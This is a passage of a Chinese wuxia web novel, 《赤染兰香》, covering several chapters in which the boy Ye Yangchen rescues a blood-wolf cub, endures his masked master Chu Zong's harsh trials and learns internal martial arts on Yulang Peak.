儿子既然这样说,叶阳天没有说话,他一直很尊重儿子的想法,但还是担心多一些的。 见父亲面带忧色,叶阳晨安慰道:“爹,你从小就教育我说,要想成功总要付出点代价的。你相信我,我一定平安回来。” 听儿子这样说,叶阳天再次笑了,那慈爱笑容中带着宠溺。 就这样,叶阳晨带着自己的理想,也带着父亲的期望出发了。长这么大,这还是他第一次要上泽清山顶。 登上山顶玉狼峰前,要穿越几公里的冷夕林。冷夕林里岔路众多,林深树密。此刻,林子里阴风怒嚎,树枝摇曳不停,好像随时会折断。 叶阳晨缓步往前走,要说他心里一点不怕是假的。忽然,叶阳晨听到有尖厉的狼啸声传来,似远似近。他停下脚步,又仔细听了听,好像不止一只狼在叫,好像是几只狼在搏斗。 叶阳晨极富有冒险精神,稍作迟疑后便继续趋步向前。循着狼的叫声,他走了很远的路,待走近了些,才看到是三只灰狼围住了另外一只狼。借着杳杳月光,叶阳晨能隐隐看见被围住的那只狼的体型要大很多。 叶阳晨以为狼群在内斗,本不想理会,可看那只被围住的狼好像已被咬得奄奄一息,他心中倏然生出一丝怜悯。叶阳晨掏出身上的匕首,纵身一跃过去,对准其中一只灰狼的屁股就是一刀。那只灰狼嗷呜一声便倒在地上,另外两只灰狼回头向叶阳晨扑了过来。 叶阳晨挥着匕首,左躲右闪,与两头狼缠斗在一起。虽然叶阳晨从前跟着古野和温狐师父学了些功夫,可同时对付两头狼,还是有些吃力,他只好暂时爬到树上躲避。 两头狼便徘徊在树下,怎么都不肯离开。叶阳晨突然想起,自己身上带着火折子。于是他将火折子点燃,然后从树上跳下。狼最怕火,见到火光后的灰狼立即四处逃散。 叶阳晨拿着火折子,慢慢靠近那头刚刚被围攻的狼。借着火光,叶阳晨仔细查看,见这头狼的毛色呈暗红,体型大概是普通狼的两倍,爪子更是锋利如刀。狼的头已被伤得鲜血淋淋,面目全非,只是眼睛依旧是清澈的冰蓝色。如果换做是晴日,这一抹冰蓝中还会夹杂着一丝丝血红。 叶阳晨不禁心想:“难道这就是传说中的血狼?”常听大人们说泽清山的峰顶有血狼的踪迹,只是从来没有人亲眼见过。 火光之下,叶阳晨又四处仔细看了看,发现狼头的不远处,有一颗血红的狼牙在地上,齿根处还连带着血肉。叶阳晨猜测这颗狼牙多半是刚刚搏杀时脱落下来的,他把狼牙捡起来揣在怀里。后来,叶阳晨把这颗狼牙制成吊坠,还给它起了个炫酷的名字叫“血影”。 叶阳晨非常同情这头血狼,于是将它就地掩埋了。处理完后,他刚要转身离开,便听见有动物发出呜呜的叫声。这叫声的声音不大,是从附近传来的。叶阳晨循着声音找过去,发现前面不远处就是一个被杂草和树枝遮盖住的山洞。 叶阳晨慢慢走进山洞,他每走一步,都清晰感觉到动物的叫声离自己更近了些。这个洞口狭窄,有种阴森森的感觉。走进去后,叶阳晨发现洞里的草堆上趴着一头小狼。看那样子,这只狼应该是刚刚出生。 叶阳晨方才明白,这是一个狼窝,而刚刚死去的血狼多半是为了保护幼狼才与灰狼搏斗。而血狼刚刚生了小狼崽,身体有些虚弱,这才让那三只灰狼找到了可乘之机。 叶阳晨把小血狼抱在怀里,这只狼崽还没有睁眼睛,只是它中间的那颗牙齿同样是血红色的。他现在可以完全确定,自己怀里的这只小狼就是血狼的后代。 叶阳晨轻轻抚了抚小狼的背,见它可爱灵动的样子,又刚刚经历过危险,便在心里给小狼崽取了一个名字,叫它“火灵”。 母狼已经死了,如果把这只血狼崽丢在山洞里,它必死无疑,所以叶阳晨决定把幼狼抱走,然后由他亲自找食物喂养它。 叶阳晨抱着幼狼出了山洞,走出了冷夕林,直奔玉狼峰。越临近峰顶,气温就越低,风也越来越大,叶阳晨就把自己的虎皮袄脱下来包裹住小火灵。 叶阳晨终于登上泽清山之巅的玉狼峰顶,他觉得这是一个小小的胜利,一个小小的征服。 叶阳晨在山顶走了一会儿,找到了父亲告诉过他的楚宗住的那个小木屋。 远远望去,木屋被简易的木栅栏围起。 叶阳晨来到院门前,微微抬头见木门的两侧有一副对联, 上联是:瑶泉水润泽兰木; 下联是:玉剑光夺耀暖阳。虽然这处木屋并不华丽,甚至可以算是简陋,但读了这副对联,叶阳晨感觉这里并非凡俗所在。还没见到楚宗本人,他已经多了几分恭谨。 叶阳晨推开栅栏门走近院子里,“有人吗?”他仔细听着,没有任何回应的声音,只有耳边呼啸的寒风。叶阳晨抱着火灵走到木屋门口,又敲了敲门,确定屋里没有人,他才推开屋门走了进去。 叶阳晨坐在屋里的树墩上,环视着屋里简单的陈设。 坐了一会儿,叶阳晨从院子里找来一些枯树枝生着了火。屋子里渐渐暖和了些,叶阳晨拿出包裹里剩下的干粮,大口嚼了起来。 自己是不至于饿肚子,可看着身旁的火灵,叶阳晨突然犯了难。此时的小狼还在哺乳期,牙齿还没长全,不是什么都能吃的。他本想上了山顶,看看有没有东西可以找给小狼吃的,可现在看来山顶上反倒什么都没有。 叶阳晨突然想起自己进冷夕林前,看见远处的山坡处有一间茅草屋,像是一户人家,或许可以去那里求助试试。 在泽清山上,不止有长风寨,也有许多本地的土著。山上有猎人打猎,山下有农民种地、 7. 第七章 楚宗扮恶百般刁难 《赤染兰香》全本免费阅读 那个带鬼魅面具的人冷傲问道:“你在别人的房子里住了这么久,就这么心安理得吗?果然跟你爹一个德行。” 叶阳晨被问得一愣,但是同时他可以确信,这个人就是楚宗了。他虽然看不到楚宗真实的长相,却能感觉到他浑身带着寒意,这种冷寒给人一种强烈的压迫感,竟令叶阳晨一时间不知该怎么回答。 良久,叶阳晨叩首便拜,索性直言道:“师父,我是上山来拜您为师的。” “你是叶阳天的儿子?” “是的,我叫叶阳晨。” “你起来吧,想做我的徒弟没那么容易,最后你能不能做成我的徒弟,还是后话。” 叶阳晨也是心高气傲的孩子,他还从来没见过如此傲慢、如此不太近人情的人。在山寨里,无论是父母,还是众位叔伯,无论是大小头目,还是守卫喽啰,都对叶阳晨异常疼爱,异常尊重。要不是念及父亲特意为了自己的事上山求楚宗,若不是自己心中还有一个英雄梦,叶阳晨真想摔门而去。 之后屋里一片安静,两人都不再说话。 叶阳晨心里有气,所以饭烧好后,他根本没理楚宗,自顾自地吃了起来。 楚宗见状厉声问道:“你吃饭从不邀请别人一起吃吗?基本的礼貌都没有吗?” 叶阳晨强压下心中火气,“师父…哦不对,你说我不是您的徒弟,我还是叫您大叔吧。不是我不想叫您一起吃,而是我做的饭实在是“味同吃蜡”。” “是味同嚼蜡。” “吃和嚼意思不是差不多吗?” 楚宗差点被气笑了,“虽然只差一个字,可你说的就不是成语。” “反正你明白我的意思就行了。” 父亲叶阳天虽然请了先生进寨子教叶阳晨他们兄妹读书,可叶阳晨经常逃学,再不就是闹学堂,所以他的肚子里没有多少墨水。 楚宗岔开话题,“你刚才叫我什么?哦对了,你叫我大叔是吧?听你话里的意思,是说我很老了?” “不,你不老。” “你又没见过我的样子,你怎么知道我不老?” 叶阳晨的脾气也上来了,心想:“这人可真难伺候,怎么说都不对。”于是他索性不说话了,以沉默来对抗,并把所有的不满写在了脸上。 “你很不服气?”说完,楚宗霍地一脚踹翻了桌子上的饭菜。 顿时,饭菜撒了满地,叶阳晨怒火中烧,做好的饭还没吃两口,就都浪费了。他面带怒色,直勾勾地盯着楚宗看。 楚宗皆看在眼里,“怎么?很不爽?不爽也没用,我的木屋我说的算。好了你可以出去了,我要休息了。你不是有骨气吗?有骨气就不要睡别人的屋子。” 话音刚落,叶阳晨完全愣在当场。 楚宗走过去,抓住叶阳晨的脖颈,毫不费力地把他拎起来,然后推开门便把叶阳晨扔出了屋子。 门“咣当”一声被关上,叶阳晨跌坐在院落的地上,一切发生的很快,他还没反应过来发生了什么。叶阳晨虽然心里很气,但是想想楚宗说的话,也觉得并不是没有道理,这是楚宗的家,人家有权利决定是否收留自己。 这一夜,叶阳晨只好到马棚里去睡,至少那里能挡住一点点风。此时已经入冬,晚饭也没有吃,真是又冷又饿,这一夜叶阳晨被冻醒数次,即使身体蜷作一团也不管用。 翌日一早,楚宗就去了马棚,一宿下来,叶阳晨的身上落满了雪。 楚宗漠然问道:“怎么样?昨夜睡得冷不冷?” “很…暖…和。”叶阳晨嘴唇抖动得厉害,但仍旧执拗地回答。 楚宗冷笑,“很好,那今晚你就继续在这里睡吧,直到你觉得冷为止。”说完,楚宗转身离开。 自小到大,那是叶阳晨第一次吃这样的苦头。在长风寨里,谁都是宠着他,护着他,连跟叶阳晨大声说话的人都没有一个。不仅如此,叶阳晨要什么有什么,好吃的,好玩的应有尽有。 之前,叶阳晨的另外两个师父古野和温狐,与叶阳天的私交甚厚,所以对叶阳晨也是宠爱至极。 至此刻,叶阳晨才明白,原来他不是在任何地方,在任何人面前,都是天之骄子,世界宠儿。不过叶阳晨的性格本就骄狂,即使身处逆境,他也是不会去求楚宗的,所以后面他就一直在马棚里睡。 叶阳晨在马棚一连睡了七日后,楚宗再次对叶阳晨发难,“从明日起,那只小狼崽子也不能再睡在我屋里了。” “为什么?它那么小,又不碍你的事。”叶阳晨领教了楚宗的冷酷无情。 楚宗不屑道:“你怎么知道它不碍我的事?它这么一个小畜生放在我屋子里味道大得很。” “你不觉得这样太过无情了吗?” 楚宗吼道:“你有情有义,你可以直接带着小畜生下山啊。” 叶阳晨左思右忖:“这个马圈自己睡尚勉强可以坚持,可是火灵还太小,睡在这冰天雪地里肯定是熬不住的。” 那一刻,叶阳晨的脑海里再次动了下山的念头,可那个仗剑江湖的英雄梦再次拦住了他。 叶阳晨从小生在江湖,长在草莽,自然清楚武林中强者为王,且受人尊重。眼下如果想改变现在这个被动的局面,他就必须想办法战胜楚宗,那样才会被楚宗高看。当然,这种战胜并非在武功上决胜负,叶阳晨有自知之明,倘若自己与楚宗比武,那简直是蚍蜉撼树。他想的只是让楚宗对自己青眼有加,然后接纳自己,并愿意收自己为徒。 叶阳晨鼓起勇气,“大叔,我们来打赌,如果我赢了你,你就要同意小狼留在木屋里,还要答应收我为徒。” “赢我?你知道自己的口气有多大吗?”楚宗突然放声大笑,“小子,我劝你不要太狂了。” “不是狂妄,而是努力为之。”叶阳晨回答得掷地有声。 “你可知道当今武林没有人是我的对手,而且我可以同时挑战武林第二、第三、第四的高手。” “这个爹爹跟我讲过,谁说要跟你比武啊?我们只是打赌。” “不比武,那比什么?”楚宗反问道。 “我们去跳舍身崖,你敢不敢?” 楚宗一惊,“跳崖?” “是的,就是跳崖,你不敢就认输好了。”叶阳晨一副稳操胜券的样子。 楚宗打量着叶阳晨,心里想着:“这个小屁孩不会是诈我的吧?哪有人真的敢跳崖?我倒是要看看,他背后捣什么鬼。”楚宗虽然武功天下第一,但若以肉身跳下悬崖,也必定会粉身碎骨。 迟疑片刻后,楚宗还是试探问道:“小鬼,你不是逗我的吧?” “我逗没逗你,一会儿你就知道了。不过还是那句话,我要是赢了,你要信守诺言。” 楚宗沉默不言,可叶阳晨依然能从面具上的孔洞看见他的眼睛在转动。 叶阳晨用激将法,“堂 8. 第八章 混世魔王拜学宗师 《赤染兰香》全本免费阅读 楚宗命令叶阳晨要坚持三天,可三天对于一个七岁的孩子来说,已经是极限了。即使是大人,三天不吃不喝倒挂在悬崖那里,又置于寒风之中,也会难以承受。好在叶阳晨跟着父亲、山寨里的叔伯,还有师父温狐和古野学了些皮毛功夫,否则可能一天都挺不过去。 楚宗本不想陪着叶阳晨,但又怕他有危险,于是便陪着叶阳晨倒挂在崖壁上。 山顶上,白天温度稍稍高一点,还好一些。到了晚上,叶阳晨冷得瑟瑟发抖。第二日夜,山顶更是下起了鹅毛大雪。雪花随着寒风吹进叶阳晨的嘴里、鼻子里,叶阳晨甚至都不能睁开眼睛。 叶阳晨已经两天粒米未进,他的体能也已严重下降。每当他觉得自己有点挺不下去了,叶阳晨就会侧头瞥看楚宗。 见楚宗一动不动,叶阳晨心里着实叹服,不禁心中感慨:“怪不得楚宗能称为武林第一宗师,果然不是浪得虚名。” 叶阳晨正在那里胡思乱想,楚宗突然开口,“还好吗?” 叶阳晨牙齿打颤,“还…好。” 楚宗语气冷淡,“坚持不住就说话。” 叶阳晨浑身哆嗦,颤音道:“我…能…坚持。” 楚宗想让叶阳晨绷紧的神经松弛一下,于是调侃道:“你说你这又何苦呢?明明是个少爷,长风寨的少寨主,却非要跑到玉狼峰上受这个罪。” “余之所愿,不可转也。” “你的心愿是什么?”楚宗有些好奇。 “我希望能像师父您一样,成为武林泰斗。” 楚宗追问:“成为泰斗做什么?为了那个虚名?”楚宗自己早已把虚名看淡,他只想云游四海、逍遥度日,远离武林的纷争。 叶阳晨语气低弱,“师父误会了,我只是想锄强扶弱、惩奸除恶,帮助那些需要帮助的人。” “锄强扶弱,帮助别人?做那些事都不一定要成为武林至尊才可以啊?” “我觉得只有成为那个最强的人,才有绝对实力保护想保护的人。而且我想成为顶天立地的大英雄,当然也要有本事才行。” 楚宗感觉到好像有什么触动了自己的心,他想起自己小时候,也和叶阳晨有着一样的志向和抱负。只是后来经历太多的江湖血雨和时局黑暗,他的理想逐渐泯灭。不过时隔过年,被叶阳晨这么一说,他冷却的心底再次激荡着炽热的血。原来那些重要的东西经年未曾褪色,而是再次翻开看时会更加闪亮。 叶阳晨的话令楚宗想了一夜,直至天边升起一轮红日,楚宗方才醒悟,或许自己种种的不甘心,还有一线机会去弥补,那就是让自己的徒弟帮自己实现心愿。 第三天,叶阳晨几乎不说话了,因为他连说话的力气都没有了。叶阳晨的脸被风吹得有些红肿,双唇也干裂发白,睫毛上更是挂满了冰霜。 楚宗很想问问叶阳晨怎么样了,但又怕此时关心一句会动摇了叶阳晨坚持下去的信念。有时候,做英雄总是孤独寂寞的,他们需要的不是同情怜悯,而是坚韧傲骨。 第三天的夜里,是最难熬的时刻,叶阳晨的体力已经到了极限。 楚宗冷着嗓子,“你小子还可以嘛,已经坚持了三天了,我还以为你第一天就会求饶的。” 叶阳晨低声打趣着:“师…父,你也…不赖嘛,跟我…一样能坚持。” “臭小子,嘴还是那么硬。” 叶阳晨声音暗哑,一个字一个字地说着,“也不看…是谁的徒弟?我哪有…那么容易认输?” 昨天下过雪,天气更加凛寒,但叶阳晨却感到心里正有股暖流在向全身蔓延,这份暖意足以帮他冲破黎明前的黑暗。 隔了半晌,叶阳晨又跟楚宗开起了玩笑,“师父,你是担心我吧?又不敢安慰得太直接?不过您别担心,我好着呢,明天早上我还要跟你一起赏日出呢。” 楚宗不好意思承认,“谁关心你?” 叶阳晨笑着感叹着:“师父,倒挂着只有一个好处,就是睁开眼就可以看见星空,不用再抬头了。今晚的星空好美,我还是第一次在这么高的山上看星星呢!而且还是倒着看的。” 楚宗冷语,“你小子还是少说几句话吧,话太多也是耗体力的。” 天快亮时,叶阳晨觉得实在太冷了,好像浑身掉进冰窟里一般,他感觉自己就快被冻死了。 叶阳晨为了分散瑟瑟寒意,主动说道:“师…父,我给你…讲个秘密吧?” “什么秘密?” “你知道…为什么那天…我敢从舍身崖的岩石处跳下去吗?” “为什么?” 叶阳晨冻得快说不出话来,“师…父,舍身崖边的那块大岩石有个名字,叫忘生岩。距忘生岩下方千米处就是泽清山半山的明水洞,而明水洞的洞口有两棵千年松柏横着长在崖壁上。我想如果从忘生岩处跳下去,说不定就会挂到那两株老松树上了。我那么热爱生命的人,是不会轻易去死的。怎么样师父?我是不是个很奸诈的小孩?”说到最后,叶阳晨的声音已经很微弱了。 “原来你在骗师父啊。” “兵…不…厌…诈。”小时候,叶阳晨在明水洞那边玩,寨子里的叔叔告诉他,明水洞的最上方就是玉狼峰舍身崖的忘生岩。叶阳晨虽然没有实地勘察过,但是那天他突然想赌一赌,他认为也值得赌一赌。 跟着师父说了会儿话,难熬的时间总算一秒秒地过去。天快亮时,叶阳晨体力不支,还是晕了过去。 终于,云破日出,天边再次发亮,楚宗悠荡过去抓住叶阳晨的肩膀一跃而上,两人一起上了崖顶。 楚宗拍了拍叶阳晨,“臭小子,没事吧?” 楚宗摸了摸叶阳晨的脉搏,确认他并无大碍,随后掐住叶阳晨的人中穴。半晌,叶阳晨这才慢慢睁开眼睛。 楚宗问道:“醒了?” 叶阳晨环顾四周,发现自己已经没有挂在崖壁上了,他高兴道:“师父,我终于挺过来了,我终于是你的徒弟了。” “算你小子能咬牙硬扛。”楚宗吝啬说出表扬叶阳晨的话,“走吧,饿了你小子三天了,咱们去做点东西吃。”说完,楚宗扛着叶阳晨朝着木屋走去,他边走边想起自己当时拒绝叶阳天的请求,怎么都不肯收下这个徒弟。至此时,他才觉得收下叶阳晨这个徒弟,也是他的幸事。 虽然叶阳晨还是个小孩子,但楚宗已经可以断定叶阳晨长大后,必然会成为人中之龙。而总有一天,他这个师父也会跟着荣耀万丈。到那时,别人不会再说自己是武林泰斗楚宗,而是说自己是叶阳晨的师父。 叶阳晨毕竟还是个小孩子,他本以为自己取得这个小小的胜利后,即使师父不表扬自己,也会对自己稍稍温和些。可吃早饭的时候,楚宗依旧沉默不言,叶阳晨心里难免有点失落。 在叶阳晨眼中,有时感觉楚宗就像一个迷,他总是戴着面具不说,脾气还十分古怪、暴躁,有时又感觉楚宗就好像一团火焰,随时可能会吞噬一切。 吃过早饭,叶阳晨便跟小狼火灵在屋子角落那里玩。此时小火灵爪子也没有很锋利,就像一头可爱的小宠物。见火灵现在的样子,还真的难以相信它长大后会是一头凶猛的血狼。 楚宗突然语气严厉道:“不要玩了,从今天开始你就要开始习武了。” 话音一落,叶阳晨摩挲火灵的手突然顿住,旋即心里溢满喜悦,他不禁开始憧憬自己成为武功盖世大侠的那一天。 不过叶阳晨马上就发现自己错了,楚宗并没有立刻教他武功,而是教他读一些“莫名其妙”的话。什么神敛气聚,趋随丹田,什么凝神调息,运转乾坤。 叶阳晨跟着读了几句,便有些不耐烦了,“师父,您教我读的是什么啊?不仅生涩难懂,还特别无聊。我看您还是教我弄棒打拳、飞檐走壁吧?” 楚宗粗着嗓子吼道:“你懂什么?让你念什么,你就跟着念什么。你再这样挑肥拣瘦的,我就把你扔到林子里喂狼。” 叶阳晨见楚宗有点生气了,便闭嘴不言。 叶阳晨跟着读完三遍后,楚宗开始把每句话的意思讲给叶阳晨听,包括招式上该如何做,楚宗也一一示范给叶阳晨看。 见师父教得那么认真,叶阳晨也便渐渐学得专心起来。 第二天,楚宗直接扔给叶阳晨一 9. 第九章 日升月沉勤学不辍 《赤染兰香》全本免费阅读 楚宗走后,叶阳晨日日不敢懈怠练武,过除夕的时候,他也真的只在家陪了父母三天。 回长风寨的那三日,唐露一想到儿子很快要走就很舍不得,夏薇更是一直念叨小晨瘦了。只有叶阳天摇头撇嘴,“你们两个妇人,能不能不动摇“军心”?学艺哪有那么容易?成大事者又怎可吃不得苦?” 话虽如此,两个母亲心里依旧担心惦记。 才两个月没见,叶阳天倒是觉得儿子长大了,骨骼也更结实些了,他看在眼里欢喜得很。叶阳天故意逗叶阳晨,“儿啊,这两个月,你师父都教你什么功夫了?” “师父教我如何修炼内功。”叶阳晨如实说道。 叶阳天脸上带笑,“那可不可以教教爹爹?” 叶阳晨为难皱眉,“爹爹,师父叮嘱我不能将他的武功外传,儿子不敢违抗师命。” 叶阳天当然知道楚宗门下的规矩,于是仰头大笑,“我儿重信守诺,好!好!” 回到玉狼峰后,叶阳晨练功更加勤勉,他也在心里一天天计算着师父回来的日子。 虽然楚宗在的时候总是对叶阳晨凶巴巴的,可这并不影响叶阳晨对师父的思念,不过叶阳晨也担心师父回来检查他的武功,怕自己达不到师父的要求。生活中的叶阳晨就是个混不吝,但他极为尊师重道,师父的话他不敢不听。 一转眼,明日就是楚宗说的三个月的归期了,晚上,叶阳晨怎么都睡不着。他不知道师父明天会不会如期回来,心里有些期盼,又有些忐忑。 叶阳晨正在那里努力让自己睡着,火灵突然跳上床榻,用爪子轻轻地挠着他。叶阳晨不情愿地睁开眼睛,发现火灵同样瞪大了眼睛看自己。 狼都是白天睡觉,夜间行动的,火灵这一晚格外不安分。叶阳晨轻轻摸了摸火灵的头,心里多了一丝慰藉。楚宗走的这三个月,多亏有火灵陪着叶阳晨,否则他一个人待在山顶,还真的会很孤单。 现在的火灵长大了许多,它断奶后,叶阳晨会常猎来兔子和狍子给它吃。如今,火灵可以一顿饭吃下两、三斤肉了。叶阳晨相信,用不了多久,火灵就会长成威风凛凛的猛兽。 这一夜,叶阳晨感觉极其漫长、难捱。 清晨,叶阳晨醒来,环顾屋内,见还是只有自己和火灵,不禁有些失望。叶阳晨揉揉眼睛下了床,推门出去准备晨练。可门刚被打开,他便见到有一身形挺拔的男子站在院子里。那男子的披风在晨曦光影下随风劲摆,显得人格外英武洒脱。 即使看了一眼背影,叶阳晨还是认出那就是师父,他难掩喜悦跑上前,“师父,你回来了?” 楚宗转过身来,面上依旧带着鬼魅面具,“你再不起床练功,我就要进屋去抓你起来了。” “师父,你既然出来了,为什么不进屋去呢?” “看看日出也很不错的。”楚宗双臂环抱于胸前,“来,让我看看你这三个月有没有长进?” “现在就检查吗?” “怎么?你没练好?” “不是,我就是觉得有点突然。”叶阳晨这三个月都在修炼内功,他不知道师父会怎么检验自己的成果。 楚宗严厉道:“跟我来。” 叶阳晨跟着楚宗来到舍身崖崖边。 楚宗命令道:“一会儿,你聚气丹田后,将丹田之气迅速往上提,你听懂了吗?” 叶阳晨用力点点头,不过他并不知道楚宗要做什么。叶阳晨正在那儿琢磨着师父的话,突然楚宗凌空一脚冲着叶阳晨踢过来,叶阳晨完全没有思想准备,旋即跌落悬崖。 叶阳晨身体处于失重的状态,他满脑子都在想该如何自救,同时也在胡思乱想师父为何这样对自己。 楚宗大声喊道:“你在乱想什么呢?照我说的话做了吗?” 这时,叶阳晨才猛地反应过来,他立即运转丹田之气,用力向上一跃。叶阳晨还没反应过来怎么回事,就已经跳了上来。他惊讶于刚刚自己身轻如燕,气通百脉,这才反应过来,原来这几个月内功修炼已进益良多。 叶阳晨方明白当初师父逼自己练内功的良苦用心,不过仍旧抱怨道:“师父,即使你想检验我的功夫,也不用玩得这么大吧?万一我这三个月偷懒了,刚刚我不就摔得粉身碎骨了?”一想到刚刚,叶阳晨仍然心有余悸。 “你不是答应为师不会偷懒吗?所以我就选择相信你。” 叶阳晨觉得喉咙上犹如堵块大石头,憋得半句话都说不出来,总感觉哪里不对,又无力反驳师父的话。叶阳晨头上不禁冒起冷汗,心想:“师父真是说一不二,行事作风也完全不按常理出牌。”想到这些,日后他更不敢不听师父的话了。 叶阳晨回想到刚刚自己的轻功,依然有点不敢置信,“师父,我的轻功怎么突然就那么好了呢?” “并不是突然,师父说过,你只要用功、用心掌握心法要诀,你的轻功自然就会上了一个层次。”说完,楚宗朝着木屋走去。 想到自己武功有长进,叶阳晨跑过去追上师父,调皮笑道:“师父,如果我轻功没那么好,真的摔死了怎么办?” “不好好练功,摔死也活该。” 叶阳晨翻着白眼,“师父,看在我功夫有长进的份上,晚上我们庆祝一下吧?” “好吧,一会儿我们去打猎,晚上我们就做点菜,我们师徒喝一杯。” 刚才叶阳晨只是随便那么一说,但没想到师父真的就答应了,他还从来没有见过师父有这么温情的一面呢。即使楚宗再凶,毕竟也是自己的恩师,所以楚宗回来了,叶阳晨心里是真开心。 用过早饭,这一师一徒出门去打猎。叶阳晨发问:“师父,你没带弓箭,咱们怎么打猎?” 楚宗反问:“你跟着师父,还要有弓箭才能打猎啊?不觉得很丢人吗?你去徒手抓两只兔子来。” “徒手?还两只?”叶阳晨觉得师父特别会“玩”,而且想怎么玩就怎么玩。 “是的,只要你能只用两只手抓住野兔,今晚的菜由师父来烧,否则就只好你来做了。” 这么长时间以来,叶阳晨还没吃过师父烧的菜呢,他甚至不知道师父还会做饭。今天听师父这么一说,叶阳晨非常想尝尝师父的手艺。可是想到兔子蹦跳那么灵巧,他便在心里打鼓,不知自己能不能追得上兔子。 经过一番思想斗争后,叶阳晨心想:“不管结果怎么样,总要试一试。” 叶阳晨和楚宗去了林子。两人在林子里守了一会儿,楚宗先发现了一只野兔的踪迹,他低声道:“给你个机会,快去吧。” 叶阳晨蹑手蹑脚地走过去,生怕动静太大吓跑了兔子。结果兔子很警觉,待叶阳晨靠近了些,兔子吓得快速逃跑。 到手的猎物怎么能让它轻易跑掉,叶阳晨脚下瞬间提速追了过去。兔子蹿得飞快,叶阳晨紧追不舍。跑着跑着,他惊觉自己跑的速度竟如此之快。随即,叶阳晨不禁心里一喜,“看来这三个月的苦练也令脚下功夫有所长进。” 兔子在林间忽左忽右地跑着,叶阳晨摆动双臂,腿下生风,他与兔子之间的距离越来越短。叶阳晨瞄准目标,奋力一扑,终于抓住了兔子的后腿。叶阳晨爬起来,紧抓兔子举过头顶,“师父,我抓到了,我真的抓到了。” 楚宗微微点着头,叶阳晨虽然看不见楚宗的脸,但他总感觉面具下的脸应该是笑了的。 叶阳晨走到师父跟前,把兔子递给楚宗,“师父,给你。” “好了,收货了,你还需再抓一只。” 有了第一次抓兔子的经验,抓第二只就容易多了。很快,叶阳晨又抓到一只。 楚宗把兔子接到手中,“走吧,我们回去吧。” 路上,叶阳晨按捺不住喜悦问道:“师父,你是不是早就知道我能捉住兔子?” “怎么?骄傲了?” 叶阳晨挠挠了头,不好意思起来。 叶阳晨赌赢了,晚上的饭自然由楚宗来做了。 楚宗做饭的时候,叶阳晨就站在旁边看。楚宗动作熟练,一只兔子很快被拔毛剥皮,并被切成了一块块兔肉丁。叶阳晨完全惊呆了,那一刻他感觉楚宗是无所不能的。叶阳晨作为一个小孩子,自然在心里生出一丝对师父的崇拜。 叶阳晨目瞪口呆地问:“师父,你怎么这么熟练啊?你以前经常做饭吗?” “不自己做饭,岂不是饿死了?” 叶阳晨心里嘟囔,“明明你会做饭,为什么之前还总是“剥削”我?” 自从叶阳晨上山后,都是他做饭给楚宗吃。虽然叶阳晨从前在山寨时也不会做饭,当然也无需他做,父母也不会舍得让他做这种粗活。可是上了玉狼峰后,叶阳晨为了生活,只好自己学着做。从最初总是烧糊了锅,到后来总算勉强把菜做熟,再到现在烧的饭菜可以下咽。楚宗每天吃着食不知味的饭菜,但是他就是懒得做饭。 叶阳晨见兔肉丁被分别放入两个碗里,于是发问道:“师父,你为什么用两个碗装肉呢?” “一兔两吃。” “两种吃法?哪两种?” “鲜椒兔和冷吃兔。” 话音一落,叶阳晨再次惊得嘴巴微张,他完全没想到师父做菜还这么讲究,他已经开始期待菜的味道了。叶阳晨也是第一次发现,楚宗师父有时还挺好玩的。 调料准备好,一切就绪。热锅、倒油、烹炒,忙了半个多时辰后,两道菜被端上矮桌子。 叶阳晨把蒲团摆好,楚宗也把地窖里珍藏的好酒拿出一坛来。酒坛的盖子刚被揭开,馥郁酒香扑鼻而来。 叶阳晨自小在长风寨长大,跟着各位叔伯喝酒,也算是品鉴名酒无数,可直觉上告诉他,那些酒都不及师父私藏的酒香醇。 楚宗给叶阳晨倒了一碗酒,“这酒烈,你还是少喝一点。” 叶阳晨端起碗,抿了一小口,旋即他的眼睛一亮,“师父,这酒真好喝啊!一会儿您再给我倒一碗吧?” “说一碗就一碗。” “师父……”叶阳晨央求道。 “叫什么都没用,没有价钱好讲。酒都给你喝了,我喝什么?”实际这个酒后劲太大,喝醉了很难受。 叶阳晨见说不动师父,只好作罢,他用手抓了一块肉塞进嘴里,“师父,真的好吃。你以后再做给我吃,好不好?” “那要看你功夫练得怎么样。”说着,楚宗递了一双筷子给叶阳晨,“不习惯使用筷子?” 叶阳晨接过筷子,自小他就没这么听话过。只要是楚宗说的话,叶阳晨都不敢不听。 楚宗是叶阳晨的第三位师父,与古野的天真顽童和温狐的仁心慈爱相比,楚宗的冷傲总会令叶阳晨不寒而栗。楚宗一旦发起火来,即使是叶阳晨这样天不怕地不怕的性格,也不敢有丝毫叛逆。不过有时候这种畏怕,也含着几分尊敬,叶阳晨也知道大多数楚宗的严厉是为自己好。 一顿饭,一只兔子叶阳晨吃了大半。楚宗见叶阳晨喜欢吃,于是就没舍得多动筷子,而是自顾自在那儿喝着酒。 叶阳晨边吃着兔肉边大口喝酒,一不注意,酒呛到了嗓子,他连续咳了好多声,“师父,这酒是好喝,就是好辣啊!” 楚宗又喝了一大口酒,不由得大声感慨着:“人生就是要喝最烈的酒,骑最野的马,攀最高的山,这样极致的人生才恣意快活。小子,你学着点吧!” 叶阳晨感觉师父的话很豪气,说进了他的心坎里。叶阳晨正在回味,楚宗继续说道:“以后你长大了闯江湖,一定要记得六个字,侠气、善良、情义。” “师父,徒儿知道了。” 由于师父说得过于恳切,叶阳晨把这六个字牢牢记在心里。以至于很多年后,叶阳晨仍然奉这六个字为金科玉律。 师徒两人一直喝到深夜,叶阳晨完全醉了,那也是他真正意义上的醉酒。从前在山寨时,叶阳晨也会喝酒,但那些酒有点淡,加之家人不会让叶阳晨喝太多,所以他从来没有真的喝多过。 叶阳晨这一醉就醉到了第二日午后才醒,楚宗给他做了碗热汤面,他吃了后才觉得舒服了些。 在那 10. 第十章 前世种种真情相遇 《赤染兰香》全本免费阅读 两年来,叶阳晨待在玉狼峰终学有所成。怀着不舍的心情,他带着火灵下了山。 此时的火灵已经是一头成年的狼了,长风寨里的人都怕它,怕一不小心惹怒它后被吃掉。但唯独丁鹏是个例外,他整日跟在叶阳晨身边,久而久之,火灵便跟他建立了深厚的感情。丁鹏甚至敢用手一直揉搓着火灵的脸,每次这个时候,火灵总是气呼呼地发出“呜呜”的声音,它的眼睛里也会露出冷寒的光,可火灵就是舍不得咬丁鹏。当然,闹归闹,丁鹏有什么好吃的都想着火灵,给火灵喂饭洗澡的事也是丁鹏做的最多。 在外人看来,火灵凶猛狠戾,但在叶阳晨眼中,它是强悍、智慧、温情的化身,也是坚韧勇敢的代名词。 那日,叶阳晨带着丁鹏和叶清扬在泽清山外的周边玩。丁鹏自小跟在叶阳晨的身边,这么多年来,他们两人既是主仆,也是兄弟。 